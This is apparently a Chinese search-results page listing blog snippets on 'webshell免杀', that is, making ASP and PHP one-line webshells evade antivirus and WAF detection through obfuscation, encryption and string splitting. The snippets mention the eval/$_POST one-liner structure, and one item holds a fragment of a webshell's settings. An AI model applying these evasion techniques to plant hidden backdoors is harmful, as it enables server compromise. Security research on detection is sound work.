  • mNametitle ="超强提权免杀珍藏版" Copyright=" 免杀珍藏版 " SItEuRl="http://caidaome.com/" bg ="http://www.baidu/newsjpg/0.jpg" ysjb=true htp="http://127.0.0.1" durl="http://caidaome.com/" Response....
  • asp-Webshell免杀

    千次阅读 2020-08-23 16:30:33
    本篇文章主要梳理ASP一句话Webshell的构建和规避检测软件达到源文件免杀的思路。最终构建能够同时绕过以下表格中8个专业木马查杀工具和平台检测的Webshell,构造出零提示、无警告、无法被检测到的ASP一句话木马后门...
  • php7.1后webshell免杀的去路严格的D盾D盾说,我是个严格的人,看到eval我就报木马,“看着像“=”就是“木马,宁可错杀一千,绝不放过一个。好了,多说无益,一起看看严格的D盾是如何错杀的。我随手写一个php文件:...
  • php webshell免杀

    2021-03-24 11:27:40
    如果出现某种WAF防护,就寻找一个免杀的大马挂马。最常见的php一句话木马这个一句话木马由两部分组成,eval用来执行接收的代码。$_POST['x']来接收数值。本着这个原则,尝试改写一句话木马绕过WAF。搜集了几个常用的...
  • PHP7.1后webshell免杀

    2021-04-10 11:17:31
    严格的D盾D盾说,我是个严格的人,看到eval我就报木马,“看着像“=”就是“木马,宁可错一千,绝不放过一个。好了,多说无益,一起看看严格的D盾是如何错的。我随手写一个php文件:代码如下:function encode($...
  • Webshell免杀研究

    千次阅读 2020-02-03 20:31:33
    前一个阶段闲着没事干,所以将之前做的关于webshell免杀的一篇研究性文章发表了出来,供大家一起学习探讨,文章目录如下,目前已发表与先知社区,欢迎探讨交流~ 文章链接:https://xz.aliyun.com/t/7151 ...
  • PHP免杀方法有很多,加密混淆字符转换拆分等等都可以达到目的,下面来简单介绍几种免杀PHP大马的方法,一句话思路也是一样 拿我很喜欢的一款php大马来示范,这个马支持cmd命令,编辑文件不会空白,界面非常经典,最...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,600
精华内容 640
关键字:

webshell免杀

友情链接: HiMPP MIPI使用指南.rar